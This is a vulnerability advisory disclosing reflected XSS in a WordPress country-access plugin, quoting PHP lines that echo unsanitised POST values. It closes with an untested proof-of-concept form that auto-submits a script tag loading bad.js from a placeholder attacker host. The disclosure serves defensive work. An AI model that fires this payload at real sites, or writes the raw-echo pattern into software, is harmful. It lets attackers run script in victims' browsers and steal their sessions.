Advisory #: 1006
Title: Reflected XSS in wordpress plugin caret-country-access-limit v1.0.1
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/caret-country-access-limit
Downloads: 95
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: caret-country-access-limit
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./caret-country-access-limit/setup.php: 3: <?php if (!empty($_POST['country-limit_result'])): ?><h3 id="country-limit_result" style="color:#ff0000;"><?php echo $_POST['country-limit_result']; ?></h3><?php endif; ?> 41: <td style="color:red;border-top:0;"><?php echo $_POST['COUNTRY_LIMIT_STATUS']['error']; ?></td> 54: <td style="color:red;border-top:0;"><?php echo $_POST['COUNTRY_LIMIT_MTHOD']['error']; ?></td> 61: <td style="color:red;border-top:0;"><?php echo $_POST['COUNTRY_LIMIT_LIST']['error']; ?></td> 73: <td style="color:red;border-top:0;"><?php echo $_POST['COUNTRY_LIMIT_TYPE']['error']; ?></td> 80: <td style="color:red;border-top:0;"><?php echo $_POST['COUNTRY_LIMIT_EXTRA']['error']; ?></td> 94: <td style="color:red;border-top:0;border-bottom:0;"><?php echo $_POST['COUNTRY_LIMIT_RENEW']['error']; ?></td> The variable country-limit_result appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./caret-country-access-limit/setup.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3. <form name=TheForm action=http://[target]/wp-content/plugins/caret-country-access-limit/setup.php method=post> <input type=hidden name=country-limit_result value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>